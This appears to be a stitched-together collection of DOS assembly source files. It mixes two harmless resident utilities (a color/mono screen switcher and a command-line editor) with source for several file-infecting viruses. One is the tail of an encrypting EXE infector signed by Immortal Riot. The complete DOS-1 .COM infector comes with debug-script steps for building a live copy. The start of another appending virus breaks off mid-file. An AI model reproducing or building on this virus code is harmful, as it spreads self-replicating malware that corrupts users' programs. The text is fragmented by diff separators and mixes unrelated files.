lea si,[bp+dta_area+16h] ;restore time/date stamp
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
already_infected:
|
||||
no_exe:
|
||||
|
||||
mov ah,3eh ;close file
|
||||
int 21h
|
||||
|
||||
mov ax,4301h ;restore file attribute
|
||||
mov cl,byte ptr [bp+dta_area+15h]
|
||||
lea dx,[bp+dta_area+1eh]
|
||||
int 21h
|
||||
|
||||
mov ah,4fh ;find next file
|
||||
jmp find_files
|
||||
|
||||
no_more_files:
|
||||
|
||||
lea dx,[bp+save_dir] ;restore starting directory
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
|
||||
pop es ;shrink memory block
|
||||
mov ah,4ah
|
||||
mov bx,10000
|
||||
int 21h
|
||||
push es
|
||||
|
||||
mov ah,48h ;allocate a new 3k block
|
||||
mov bx,192
|
||||
int 21h
|
||||
jc no_mem
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov word ptr es:[1],0008h ;mark DOS as owner and it will
|
||||
no_mem: ;reduce available memory to DOS
|
||||
|
||||
pop es ;restore old es/ds
|
||||
pop ds
|
||||
|
||||
cli ;must use this before altering ss/sp
|
||||
mov ss,word ptr cs:[bp+stack_return] ;put back original ss/sp
|
||||
mov sp,word ptr cs:[bp+stack_return+2]
|
||||
sti ;interrupts allowed again
|
||||
|
||||
end_part:
|
||||
db 0eah ;jmp to original ip
|
||||
return_buffer db 0,0,0,0
|
||||
return2_buffer dw 0,0fff0h ;code for carrier file to exit
|
||||
stack_save dd ?
|
||||
stack_return dd ?
|
||||
dir_mask db '..',0
|
||||
search_pattern db '*.exe',0
|
||||
signature db "DOOM! (c) '93 Raver/Immortal Riot"
|
||||
go_eof: ;procedure to go to beginning and
|
||||
mov ah,42h ;end of file
|
||||
xor cx,cx ;this saves a few bytes as it's
|
||||
cwd ;used a few times
|
||||
int 21h
|
||||
ret
|
||||
end_of_encryption:
|
||||
pad db 0 ;pad out a byte so first byte of
|
||||
;encryption value won't be overwritten
|
||||
encryption_value dw 0
|
||||
|
||||
encrypt_decrypt: ;cryptation routine
|
||||
mov si,word ptr [bp+encryption_value]
|
||||
lea di,[bp+start_of_encryption]
|
||||
mov cx,(end_of_encryption-start_of_encryption+1)/2
|
||||
crypt_loop:
|
||||
xor word ptr [di],si
|
||||
inc di
|
||||
inc di
|
||||
loop crypt_loop
|
||||
ret
|
||||
|
||||
append_virus:
|
||||
call encrypt_decrypt ;encrypt virus before write
|
||||
mov cx,end_of_virus-start_of_virus ;cx is length of virus
|
||||
int 21h ;call 40h
|
||||
call encrypt_decrypt ;decrypt virus again
|
||||
ret
|
||||
end_of_virus:
|
||||
exe_header db 18h dup(?) ;don't need to copy this shit
|
||||
dta_area db 43 dup(?) ;to the next file to infect
|
||||
save_dir db 64 dup(?) ;return adress is already saved!
|
||||
cseg ends
|
||||
end start_of_virus
|
|
@ -0,0 +1,152 @@
|
|||
title DOORS.ASM - Switch Color/Mono Screens On Keyboard Request
|
||||
;
|
||||
VECTORS segment at 0h ; 8088 / 80286 Interrupt Vector Area
|
||||
org 9h*4 ; IBM PC Keyboard is Int 9H
|
||||
KB_INT_VECTOR label dword ; Double word label
|
||||
;
|
||||
VECTORS ends
|
||||
;
|
||||
ROM_BIOS_DATA segment at 40h ; Low Memory "BIOS" Parameters
|
||||
;
|
||||
org 10h ; Location of EQUIP_FLAG
|
||||
EQUIP_FLAG dw ? ; Contains video settings
|
||||
; in bits 4 and 5
|
||||
;
|
||||
org 17h ; Location of KB_FLAG
|
||||
KB_FLAG db ? ; Contains Alt (bit 3) &
|
||||
; Right Shift (bit 0) States
|
||||
ROM_BIOS_DATA ends
|
||||
;
|
||||
; Initialization Routine
|
||||
;
|
||||
CODE_SEG segment
|
||||
assume cs:CODE_SEG
|
||||
org 100h ; COM program format
|
||||
BEGIN: jmp SWAP_VECTORS ; Initialize vectors and attach to DOS
|
||||
;
|
||||
ROM_KB_INT dd 0 ; Double word to save address of
|
||||
; ROM-BIOS keyboard interrupt
|
||||
; DOORS_INT intercepts the keyboard interrupt and switches
|
||||
; screens if [Alt]-[Right Shift] combination is pressed
|
||||
;
|
||||
DOORS_INT proc near
|
||||
assume ds:nothing
|
||||
push ds ; Push all affected registers
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
;
|
||||
pushf ; Push Flags for fake interrupt call
|
||||
call ROM_KB_INT ; to BIOS program to read keyboard
|
||||
;
|
||||
assume ds:ROM_BIOS_DATA ; Define data segment to read
|
||||
mov ax,ROM_BIOS_DATA ; keyboard flag & equipment flag
|
||||
mov ds,ax
|
||||
mov al,KB_FLAG ; Get keyboard flag
|
||||
and al,09h ; Isolate [Alt] + [Right Shift]
|
||||
cmp al,09h ; Are they pressed?
|
||||
jne RETURN ; No, quit
|
||||
;
|
||||
; [Alt] + [Right Shift] are pressed -- Continue processing
|
||||
; Check on video mode - quit if not monochrome, color 80x25 or BW 80x25
|
||||
;
|
||||
mov ah,15 ; Call Func 15 of Int 10h to
|
||||
int 10h ; get video state of the PC
|
||||
cmp al,7 ; Is screen monochrome?
|
||||
je SCREEN_OKAY ; Yes, go switch screens
|
||||
cmp al,3 ; Is screen color text?
|
||||
jbe CHECK_40_OR_80 ; Yes, go check for 80 or 40 char
|
||||
jmp RETURN ; Screen is in graphics mode, quit
|
||||
CHECK_40_or_80:
|
||||
cmp al,1 ; Is screen 40-character?
|
||||
jbe RETURN ; Yes, quit
|
||||
;
|
||||
SCREEN_OKAY:
|
||||
;
|
||||
; Save the current cursor position
|
||||
;
|
||||
mov ah,3 ; Call Func 3 of Int 10H
|
||||
mov bh,0 ; to read cursor position
|
||||
int 10h ; (page zero for color screen)
|
||||
;
|
||||
; Screen switch routine - Establish calling argument (AL) for Int 10h
|
||||
;
|
||||
mov bx,EQUIP_FLAG ; Current equipment flag to BX
|
||||
mov cx,bx ; Make a copy of it in CX
|
||||
and cx,30h ; Extract screen information
|
||||
xor bx,cx ; Erase current screen information in BX
|
||||
or bx,20h ; Set BX to color 80x25
|
||||
mov al,3 ; Set AL for color 80x25 in Int 10h
|
||||
cmp cx,30h ; Is current mono?
|
||||
je SET_MODE ; Yes, switch to color
|
||||
or bx,30h ; No, set BX for monochrome
|
||||
mov al,7 ; Set AL for monochrome in Int 10h
|
||||
SET_MODE:
|
||||
mov EQUIP_FLAG,bx ; Write BX to equipment flag
|
||||
xor ah,ah ; Use Func 0 of Int 10h to
|
||||
int 10h ; change screen parameters
|
||||
;
|
||||
; Restore Cursor
|
||||
;
|
||||
mov ah,2 ; Use Func 2 of Int 10h to restore
|
||||
mov bh,0 ; cursor on new screen (position in DX)
|
||||
int 10h
|
||||
;
|
||||
; After screens are switched, set DS and ES registers to move screen data
|
||||
;
|
||||
mov ax,0b000h ; Load ES with Mono Segment
|
||||
mov es,ax
|
||||
mov ax,0b800h ; Load DS with Color Segment
|
||||
mov ds,ax
|
||||
cmp cx,30h ; Did we switch from mono?
|
||||
jne COPY_THE_SCREEN ; Yes, move data from mono to color
|
||||
push ds ; No, swap ES and DS to move data
|
||||
push es ; from color to mono
|
||||
pop ds
|
||||
pop es
|
||||
COPY_THE_SCREEN:
|
||||
xor di,di ; Start at zero offsets
|
||||
xor si,si
|
||||
mov cx,2000 ; 2000 chars + attrs per screen
|
||||
cld ; Make sure move is 'forward'
|
||||
rep movsw ; Move Words with string instruction
|
||||
;
|
||||
RETURN:
|
||||
pop di ; Restore saved registers
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
iret ; Return to system
|
||||
|
||||
DOORS_INT endp
|
||||
;
|
||||
; This procedure initializes the new keyboard interupt vectors
|
||||
;
|
||||
SWAP_VECTORS proc near
|
||||
assume ds:VECTORS
|
||||
mov ax,VECTORS ; Set up the data
|
||||
mov ds,ax ; segment for vectors
|
||||
cli ; Disable interrupts
|
||||
mov ax,word ptr KB_INT_VECTOR ; Store addresses
|
||||
mov word ptr ROM_KB_INT,ax ; of BIOS program
|
||||
mov ax,word ptr KB_INT_VECTOR[2]
|
||||
mov word ptr ROM_KB_INT[2],ax
|
||||
mov word ptr KB_INT_VECTOR, offset DOORS_INT ; Substitute Our
|
||||
mov word ptr KB_INT_VECTOR[2],cs ; Program
|
||||
sti ; Enable interrupts
|
||||
mov dx,offset SWAP_VECTORS ; End of new resident
|
||||
; program
|
||||
int 27h ; Terminate resident
|
||||
SWAP_VECTORS endp
|
||||
CODE_SEG ends
|
||||
end BEGIN
|
||||
;
|
||||
|
|
@ -0,0 +1,404 @@
|
|||
; DOS-EDIT.ASM -- Resident DOS Command Line Editor
|
||||
; ================================================
|
||||
|
||||
CSEG Segment
|
||||
Assume CS:CSEG
|
||||
|
||||
Org 0080h
|
||||
KeyboardBuffer Label Byte
|
||||
|
||||
Org 0100h
|
||||
Entry: Jmp Initialize
|
||||
|
||||
; All Data
|
||||
; --------
|
||||
|
||||
db "(C) Copyright 1985 Ziff-Davis Publishing Co."
|
||||
|
||||
OldInterrupt21 dd ? ; Original Interrupt 21 vector
|
||||
OldInterrupt16 dd ? ; Original Interrupt 16 vector
|
||||
DoingBuffKey db 0 ; Flag for doing Function Call 0Ah
|
||||
BufferPointer dw KeyboardBuffer ; Pointer to Keyboard Buffer
|
||||
BufferCounter db 0 ; Number of characters in buffer
|
||||
MaxCharCol db ? ; Maximum Character Column on screen
|
||||
OriginalCursor dw ? ; Place to save cursor on full-screen
|
||||
InsertOn db 0 ; Insert mode flag
|
||||
|
||||
KeyRoutine dw Home,Up,PgUp,Dummy,Left,Dummy,Right
|
||||
dw Dummy,End,Down,PgDn,Insert,Delete
|
||||
|
||||
; New Interrupt 21 (DOS Function Calls)
|
||||
; -------------------------------------
|
||||
|
||||
NewInterrupt21 Proc Far
|
||||
|
||||
Mov CS:[DoingBuffKey],0 ; Turn flag off initially
|
||||
|
||||
Cmp AH,0Ah ; Check if doing buffered input
|
||||
Jz BufferedInput
|
||||
|
||||
Jmp CS:[OldInterrupt21] ; If not, do regular interrupt
|
||||
|
||||
BufferedInput: Mov CS:[DoingBuffKey],-1 ; If so, turn on flag
|
||||
|
||||
PushF ; Simulate regular interrupt
|
||||
Call CS:[OldInterrupt21]
|
||||
|
||||
Mov CS:[DoingBuffKey],0 ; Turn off flag
|
||||
Mov CS:[BufferCounter],0 ; Re-set character counter
|
||||
|
||||
IRet ; Return to user program
|
||||
|
||||
NewInterrupt21 EndP
|
||||
|
||||
; New Interrupt 16 (BIOS Keyboard Routine)
|
||||
; ----------------------------------------
|
||||
|
||||
NewInterrupt16 Proc Far
|
||||
|
||||
Sti ; Re-enable interrupts
|
||||
Cmp CS:[DoingBuffKey],0 ; Check if doing call 0Ah
|
||||
Jz DoNotIntercept ; If not, do old interrupt
|
||||
|
||||
Cmp CS:[BufferCounter],0 ; Check if chars in buffer
|
||||
Jnz Substitute ; If so, get them out
|
||||
|
||||
Cmp AH,0 ; See if doing a get key
|
||||
Jz CheckTheKey ; If so, get the key
|
||||
|
||||
DoNotIntercept: Jmp CS:[OldInterrupt16] ; Otherwise, do old interrupt
|
||||
|
||||
CheckTheKey: PushF ; Save flags
|
||||
Call CS:[OldInterrupt16] ; Do regular interrupt
|
||||
|
||||
Cmp AX,4800h ; Check if up cursor
|
||||
Jnz NotTriggerKey ; If not, don't bother
|
||||
|
||||
Call FullScreen ; Move around the screen
|
||||
|
||||
Cmp CS:[BufferCounter],0 ; Any chars to deliver?
|
||||
Jz CheckTheKey ; If not, get another key
|
||||
|
||||
ReturnBuffer: Call GetBufferChar ; Otherwise, pull one out
|
||||
|
||||
Inc CS:[BufferPointer] ; Kick up the pointer
|
||||
Dec CS:[BufferCounter] ; And knock down the counter
|
||||
|
||||
NotTriggerKey: IRet ; And go back to calling prog
|
||||
|
||||
; Substitute Key from Buffer
|
||||
; --------------------------
|
||||
|
||||
Substitute: Cmp AH,2 ; See if shift status check
|
||||
Jae DoNotIntercept ; If so, can't be bothered
|
||||
|
||||
Cmp AH,0 ; See if get a key
|
||||
Jz ReturnBuffer ; If so, get the key above
|
||||
|
||||
Call GetBufferChar ; Otherwise get a key
|
||||
Cmp CS:[BufferCounter],0 ; And clear zero flag
|
||||
|
||||
Ret 2 ; Return with existing flags
|
||||
|
||||
NewInterrupt16 EndP
|
||||
|
||||
; Get Buffer Character
|
||||
; --------------------
|
||||
|
||||
GetBufferChar: Push BX
|
||||
Mov BX,CS:[BufferPointer] ; Get pointer to key buffer
|
||||
Mov AL,CS:[BX] ; Get the key
|
||||
Sub AH,AH ; Blank out scan code
|
||||
Pop BX
|
||||
Ret
|
||||
|
||||
; Full Screen Routine
|
||||
; -------------------
|
||||
|
||||
FullScreen: Push AX ; Save all these registers
|
||||
Push BX
|
||||
Push CX
|
||||
Push DX
|
||||
Push DI
|
||||
Push DS
|
||||
Push ES
|
||||
|
||||
Mov AX,CS ; Set AX to this segment
|
||||
Mov DS,AX ; Do DS is this segment
|
||||
Mov ES,AX ; And ES is also
|
||||
|
||||
Assume DS:CSEG, ES:CSEG ; Tell the assembler
|
||||
|
||||
Mov AH,0Fh ; Get Video State
|
||||
Int 10h ; through BIOS
|
||||
Dec AH ; Number of columns on screen
|
||||
Mov [MaxCharCol],AH ; Save maximum column
|
||||
; BH = Page Number throughout
|
||||
Mov AH,03h ; Get cursor in DX
|
||||
Int 10h ; through BIOS
|
||||
Mov [OriginalCursor],DX ; And save the cursor position
|
||||
|
||||
Call Up ; Move cursor up
|
||||
|
||||
MainLoop: Cmp DH,Byte Ptr [OriginalCursor + 1] ; If at line
|
||||
Jz TermFullScreen ; stated from, terminate
|
||||
|
||||
Mov AH,02h ; Set cursor from DX
|
||||
Int 10h ; through BIOS
|
||||
|
||||
GetKeyboard: Mov AH,0 ; Get the next key
|
||||
PushF ; By simulating Interrupt 16h
|
||||
Call CS:[OldInterrupt16] ; which goes to BIOS
|
||||
|
||||
Cmp AL,1Bh ; See if Escape key
|
||||
Jz TermFullScreen ; If so, terminate full screen
|
||||
|
||||
; Back Space
|
||||
; ----------
|
||||
|
||||
Cmp AL,08h ; See if back space
|
||||
Jnz NotBackSpace ; If not, continue test
|
||||
|
||||
Or DL,DL ; Check if cursor at left
|
||||
Jz MainLoop ; If so, do nothing
|
||||
|
||||
Dec DL ; Otherwise, move cursor back
|
||||
Call ShiftLeft ; And shift line to the left
|
||||
|
||||
Jmp MainLoop ; And continue for next key
|
||||
|
||||
; Carriage Return
|
||||
; ---------------
|
||||
|
||||
NotBackSpace: Cmp AL,0Dh ; See if Carriage Return
|
||||
Jnz NotCarrRet ; If not, continue test
|
||||
|
||||
Call End ; Move line into buffer
|
||||
|
||||
Mov AL,0Dh ; Tack on a Carriage Return
|
||||
Stosb ; By writing to buffer
|
||||
Inc [BufferCounter] ; One more character in buffer
|
||||
|
||||
Jmp MainLoop ; And continue
|
||||
|
||||
; Normal Character
|
||||
; ----------------
|
||||
|
||||
NotCarrRet: Cmp AL,' ' ; See if normal character
|
||||
Jb NotNormalChar ; If not, continue test
|
||||
|
||||
Cmp [InsertOn],0 ; Check for Insert mode
|
||||
Jz OverWrite ; If not, overwrite
|
||||
|
||||
Call ShiftRight ; Shift line right for insert
|
||||
Jmp Short NormalCharEnd ; And get ready to print
|
||||
|
||||
OverWrite: Mov CX,1 ; Write one character
|
||||
Mov AH,0Ah ; By calling BIOS
|
||||
Int 10h
|
||||
|
||||
NormalCharEnd: Call Right ; Cursor to right and print
|
||||
|
||||
Jmp MainLoop ; Back for another key
|
||||
|
||||
; Cursor Key, Insert, or Delete Subroutine
|
||||
; ----------------------------------------
|
||||
|
||||
NotNormalChar: Xchg AL,AH ; Put extended code in AL
|
||||
Sub AX,71 ; See if it's a cursor key
|
||||
Jc GetKeyboard ; If not, no good
|
||||
|
||||
Cmp AX,12 ; Another check for cursor
|
||||
Ja GetKeyboard ; If not, skip it
|
||||
|
||||
Add AX,AX ; Double for index
|
||||
Mov DI,AX ; into vector table
|
||||
|
||||
Call [KeyRoutine + DI] ; Do the routine
|
||||
|
||||
Jmp MainLoop ; Back for another key
|
||||
|
||||
; Terminate Full Screen Movement
|
||||
; ------------------------------
|
||||
|
||||
TermFullScreen: Mov DX,[OriginalCursor] ; Set cursor to original
|
||||
Mov AH,2 ; And set it
|
||||
Int 10h ; through BIOS
|
||||
|
||||
Pop ES ; Restore all registers
|
||||
Pop DS
|
||||
Pop DI
|
||||
Pop DX
|
||||
Pop CX
|
||||
Pop BX
|
||||
Pop AX
|
||||
|
||||
Ret ; And return to New Int. 16h
|
||||
|
||||
; Cursor Movement
|
||||
; ---------------
|
||||
|
||||
Home: Mov DL,Byte Ptr [OriginalCursor] ; Move cursor to
|
||||
Ret ; to original column
|
||||
|
||||
Up: Or DH,DH ; Check if at top row
|
||||
Jz UpEnd ; If so, do nothing
|
||||
Dec DH ; If not, decrement row
|
||||
UpEnd: Ret
|
||||
|
||||
PgUp: Sub DL,DL ; Move cursor to far left
|
||||
Ret
|
||||
|
||||
Left: Or DL,DL ; Check if cursor at far left
|
||||
Jnz GoWest ; If not, move it left
|
||||
Mov DL,[MaxCharCol] ; Move cursor to right
|
||||
Jmp Up ; And go up one line
|
||||
GoWest: Dec DL ; Otherwise, decrement column
|
||||
Ret
|
||||
|
||||
Right: Cmp DL,[MaxCharCol] ; Check if cursor at far right
|
||||
Jb GoEast ; If not, move it right
|
||||
Sub DL,DL ; Set cursor to left of screen
|
||||
Jmp Down ; And go down one line
|
||||
GoEast: Inc DL ; Otherwise, increment column
|
||||
Ret
|
||||
|
||||
End: Call TransferLine ; Move line to buffer
|
||||
Mov DX,[OriginalCursor] ; Set cursor to original
|
||||
Ret
|
||||
|
||||
Down: Inc DH ; Move cursor down one row
|
||||
Ret
|
||||
|
||||
PgDn: Mov CL,[MaxCharCol] ; Get last column on screen
|
||||
Inc CL ; Kick it up by one
|
||||
Sub CL,DL ; Subtract current column
|
||||
Sub CH,CH ; Set top byte to zero
|
||||
Mov AL,' ' ; Character to write
|
||||
Mov AH,0Ah ; Write blanks to screen
|
||||
Int 10h ; through BIOS
|
||||
Dummy: Ret
|
||||
|
||||
; Insert and Delete
|
||||
; -----------------
|
||||
|
||||
Insert: Xor [InsertOn],-1 ; Toggle the InsertOn flag
|
||||
Ret ; and return
|
||||
|
||||
Delete: Call ShiftLeft ; Shift cursor line left
|
||||
Ret ; and return
|
||||
|
||||
; Transfer Line on Screen to Keyboard Buffer
|
||||
; ------------------------------------------
|
||||
|
||||
TransferLine: Sub CX,CX ; Count characters in line
|
||||
Mov DI,Offset KeyboardBuffer ; Place to store 'em
|
||||
Mov [BufferPointer],DI ; Save that address
|
||||
Cld ; String direction forward
|
||||
|
||||
GetCharLoop: Mov AH,02h ; Set Cursor at DX
|
||||
Int 10h ; through BIOS
|
||||
|
||||
Mov AH,08h ; Read Character & Attribute
|
||||
Int 10h ; through BIOS
|
||||
|
||||
Stosb ; Save the character
|
||||
|
||||
Inc CX ; Increment the counter
|
||||
Inc DL ; Increment the cursor column
|
||||
Cmp DL,[MaxCharCol] ; See if at end of line yet
|
||||
Jbe GetCharLoop ; If not, continue
|
||||
|
||||
Dec DI ; Points to end of string
|
||||
Mov AL,' ' ; Character to search through
|
||||
Std ; Searching backwards
|
||||
Repz Scasb ; Search for first non-blank
|
||||
Cld ; Forward direction again
|
||||
Jz SetBufferCount ; If all blanks, skip down
|
||||
|
||||
Inc CL ; Number of non-blanks
|
||||
Inc DI ; At last character
|
||||
SetBufferCount: Inc DI ; After last character
|
||||
Mov [BufferCounter],CL ; Save the character count
|
||||
|
||||
Ret ; Return from routine
|
||||
|
||||
; Shift Line One Space Right (For Insert)
|
||||
; ---------------------------------------
|
||||
|
||||
ShiftRight: Push DX ; Save original cursor
|
||||
Mov DI,AX ; Character to insert
|
||||
|
||||
ShiftRightLoop: Call ReadAndWrite ; Read character and write
|
||||
|
||||
Inc DL ; Kick up cursor column
|
||||
Cmp DL,[MaxCharCol] ; Check if it's rightmost
|
||||
Jbe ShiftRightLoop ; If not, keep going
|
||||
|
||||
Pop DX ; Get back original cursor
|
||||
Ret ; And return from routine
|
||||
|
||||
; Shift Line One Space Left (For Delete)
|
||||
; --------------------------------------
|
||||
|
||||
ShiftLeft: Mov DI,0020h ; Blank at end
|
||||
Mov BL,DL ; Save cursor column
|
||||
Mov DL,[MaxCharCol] ; Set cursor to end of line
|
||||
|
||||
ShiftLeftLoop: Call ReadAndWrite ; Read character and write
|
||||
|
||||
Dec DL ; Kick down cursor column
|
||||
Cmp DL,BL ; See if at original yet
|
||||
Jge ShiftLeftLoop ; If still higher, keep going
|
||||
|
||||
Inc DL ; Put cursor back to original
|
||||
Ret ; And return from routine
|
||||
|
||||
; Read and Write Character for Line Shifts
|
||||
; ----------------------------------------
|
||||
|
||||
ReadAndWrite: Mov AH,2 ; Set Cursor from DX
|
||||
Int 10h ; through BIOS
|
||||
|
||||
Mov AH,08h ; Read Character and Attribute
|
||||
Int 10h ; through BIOS
|
||||
|
||||
Xchg AX,DI ; Switch with previous char
|
||||
|
||||
Mov CX,1 ; One character to write
|
||||
Mov AH,0Ah ; Write character only
|
||||
Int 10h ; through BIOS
|
||||
|
||||
Ret ; Return from Routine
|
||||
|
||||
; Initialization on Entry
|
||||
; -----------------------
|
||||
|
||||
Initialize: Sub AX,AX ; Make AX equal zero
|
||||
Mov DS,AX ; To point to vector segment
|
||||
|
||||
Les BX,dword ptr DS:[21h * 4]; Get and save Int. 21h
|
||||
Mov Word Ptr CS:[OldInterrupt21],BX
|
||||
Mov Word Ptr CS:[OldInterrupt21 + 2],ES
|
||||
|
||||
Les BX,dword ptr DS:[16h * 4]; Get and save Int. 16h
|
||||
Mov Word Ptr CS:[OldInterrupt16],BX
|
||||
Mov Word Ptr CS:[OldInterrupt16 + 2],ES
|
||||
|
||||
Push CS ; Restore DS register
|
||||
Pop DS ; by setting to CS
|
||||
|
||||
Mov DX,Offset NewInterrupt21
|
||||
Mov AX,2521h ; Set new Interrupt 21h
|
||||
Int 21h ; through DOS
|
||||
|
||||
Mov DX,Offset NewInterrupt16
|
||||
Mov AX,2516h ; Set new Interrupt 16h
|
||||
Int 21h ; through DOS
|
||||
|
||||
Mov DX,Offset Initialize ; Number of bytes to stay
|
||||
Int 27h ; Terminate & remain resident
|
||||
|
||||
CSEG EndS
|
||||
End Entry
|
||||
|
|
@ -0,0 +1,162 @@
|
|||
;DOS1 virus by the TridenT research group - Direct Action appending .COM
|
||||
|
||||
;This virus infects .COM files in the current directory using FCB's.
|
||||
;Other than FCB use, the virus is VERY simple. Avoids infecting misnamed
|
||||
;EXE files by using an 'M' at the beginning of files to mark infection.
|
||||
|
||||
;This virus requires a stub file made from the following debug script,
|
||||
;to make it, compile the virus, then create the stub file by removing the
|
||||
;semicolons from the code between the lines, saving it, and calling it
|
||||
;vstub.hex. Then use the following commands:
|
||||
|
||||
; Debug <vstub.hex
|
||||
; Copy /b vstub.com+dos1.com virus.com
|
||||
|
||||
;And you will have a live copy of the DOS-1 virus. Please be careful
|
||||
;with it and do not release it.
|
||||
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=ð[Begin Debug Script]ð=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
;e100 4d eb 6 90 90
|
||||
;rbx
|
||||
;0
|
||||
;rcx
|
||||
;5
|
||||
;nvstub.com
|
||||
;w
|
||||
;q
|
||||
;-=-=-=-=-=-=-=-=-=-=-=-=-=ð[End Debug Script]ð=-=-=-=-=-=-=-=-=-=-=-=-=
|
||||
|
||||
;Disassembly by Black Wolf
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
start:
|
||||
dec bp
|
||||
nop
|
||||
int 20h
|
||||
|
||||
HostFile: ;Not present to preserve original compiler offsets.....
|
||||
|
||||
Virus_Entry:
|
||||
call GetOffset
|
||||
Displacement:
|
||||
db 'DOS-1',0
|
||||
|
||||
GetOffset:
|
||||
pop si
|
||||
sub si,offset Displacement-start
|
||||
cld
|
||||
|
||||
mov di,100h
|
||||
push di ;Push DI on stack for ret...
|
||||
|
||||
push si ;Restore host file...
|
||||
movsw
|
||||
movsw
|
||||
|
||||
pop si
|
||||
lea dx,[si+VirusDTA-start] ;set DS:DX = DTA
|
||||
call SetDTA
|
||||
mov ax,1100h ;Find first filename w/FCB's
|
||||
|
||||
FindFirstNext:
|
||||
lea dx,[si+SearchString-start]
|
||||
int 21h ;Find first/next filename
|
||||
;using FCB's (*.COM)
|
||||
|
||||
or al,al ;Were any .COM files found?
|
||||
jnz ResetDTA ;No.... exit virus.
|
||||
|
||||
lea dx,[si+VirusDTA-start]
|
||||
mov ah,0fh
|
||||
int 21h ;open .COM file w/FCB
|
||||
|
||||
or al,al ;Successful?
|
||||
jnz FindNextFile ;No - find another.
|
||||
|
||||
push dx ;Push offset of DTA
|
||||
|
||||
mov di,dx
|
||||
|
||||
mov word ptr [di+0Eh],1 ;Set bytes per record to 1
|
||||
xor ax,ax
|
||||
mov [di+21h],ax ;Set Random Record Num to 0
|
||||
mov [di+23h],ax ;?
|
||||
|
||||
lea dx,[si]
|
||||
call SetDTA ;Set DTA to just before virus
|
||||
;code in memory - Storage bytes..
|
||||
|
||||
lea dx,[di] ;DX = Virus DTA
|
||||
mov ah,27h
|
||||
mov cx,4
|
||||
int 21h ;Read first 4 bytes w/FCB
|
||||
|
||||
cmp byte ptr [si],'M' ;Is it an EXE file or infected?
|
||||
je CloseFile ;exit...
|
||||
|
||||
mov ax,[di+10h] ;AX = Filesize
|
||||
mov [di+21h],ax ;Set current record to EOF
|
||||
|
||||
cmp ax,0F800h ;Is file above F800h bytes?
|
||||
ja CloseFile ;Too large, exit
|
||||
|
||||
push ax
|
||||
lea dx,[si]
|
||||
call SetDTA ;Set DTA to storage bytes/virus.
|
||||
|
||||
lea dx,[di]
|
||||
mov ah,28h
|
||||
mov cx,end_virus-start
|
||||
int 21h ;Write virus to end of file.
|
||||
|
||||
xor ax,ax
|
||||
mov [di+21h],ax ;Reset file to beginning.
|
||||
lea di,[si] ;Point DI to DTA
|
||||
|
||||
mov ax,0E94Dh ;4dh E9h = marker and jump
|
||||
stosw
|
||||
pop ax ;AX = jump size
|
||||
stosw ;Put marker and jump into DTA
|
||||
|
||||
push dx
|
||||
lea dx,[si]
|
||||
call SetDTA ;Set DTA for write
|
||||
|
||||
pop dx
|
||||
mov ah,28h
|
||||
mov cx,4
|
||||
int 21h ;Write in ID byte 'M' and jump
|
||||
|
||||
CloseFile:
|
||||
pop dx
|
||||
|
||||
call SetDTA
|
||||
mov ah,10h
|
||||
int 21h ;Close file w/FCB
|
||||
|
||||
FindNextFile:
|
||||
mov ah,12h
|
||||
jmp short FindFirstNext ;Find next file...
|
||||
|
||||
ResetDTA:
|
||||
mov dx,80h ;80h = default DTA
|
||||
call SetDTA
|
||||
retn
|
||||
|
||||
SetDTA:
|
||||
mov ah,1Ah
|
||||
int 21h ;Set DTA to DS:DX
|
||||
retn
|
||||
|
||||
db 'MK' ;Musad Khafir's signature
|
||||
|
||||
SearchString:
|
||||
db 0 ;Default Drive
|
||||
db '????????COM' ;Search for all .COM files.
|
||||
end_virus:
|
||||
|
||||
org 1d1h
|
||||
VirusDTA:
|
||||
end start
|
|
@ -0,0 +1,636 @@
|
|||
MOV_CX MACRO X
|
||||
DB 0B9H
|
||||
DW X
|
||||
ENDM
|
||||
|
||||
|
||||
CODE SEGMENT
|
||||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||||
ORG $+0100H
|
||||
|
||||
;*****************************************************************************
|
||||
;Start out with a JMP around the remains of the original .COM file, into the
|
||||
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
|
||||
;The rest of the file (first 3 bytes) are stored in the virus data area.
|
||||
;*****************************************************************************
|
||||
|
||||
VCODE: JMP virus
|
||||
|
||||
|
||||
;This was the rest of the original .COM file. Tiny and simple, this time
|
||||
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
NOP
|
||||
|
||||
|
||||
;************************************************************
|
||||
; The actual virus starts here
|
||||
;************************************************************
|
||||
|
||||
v_start equ $
|
||||
|
||||
|
||||
virus: PUSH CX
|
||||
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
|
||||
; The 2nd and 3rd bytes get modified.
|
||||
CLD ;Pointers will be auto INcremented
|
||||
MOV SI,DX ;Access data as offset from SI
|
||||
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
|
||||
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
|
||||
MOV CX,3
|
||||
REPZ MOVSB ;Restore original first 3 bytes of .COM
|
||||
MOV SI,DX ;Keep SI pointing to the data area
|
||||
|
||||
;*************************************************************
|
||||
; Check the DOS version
|
||||
;*************************************************************
|
||||
|
||||
MOV AH,30H
|
||||
INT 21H
|
||||
|
||||
CMP AL,0 ;0 means it's version 1.X
|
||||
|
||||
JNZ dos_ok ;For version 2.0 or greater
|
||||
JMP quit ;Don't try to infect version 1.X
|
||||
|
||||
|
||||
;*************************************************************
|
||||
; Here if the DOS version is high enough for this to work
|
||||
;*************************************************************
|
||||
|
||||
dos_ok: PUSH ES
|
||||
|
||||
|
||||
;*************************************************************
|
||||
; Get DTA address into ES:BX
|
||||
;*************************************************************
|
||||
|
||||
MOV AH,2FH
|
||||
INT 21H
|
||||
|
||||
;*************************************************************
|
||||
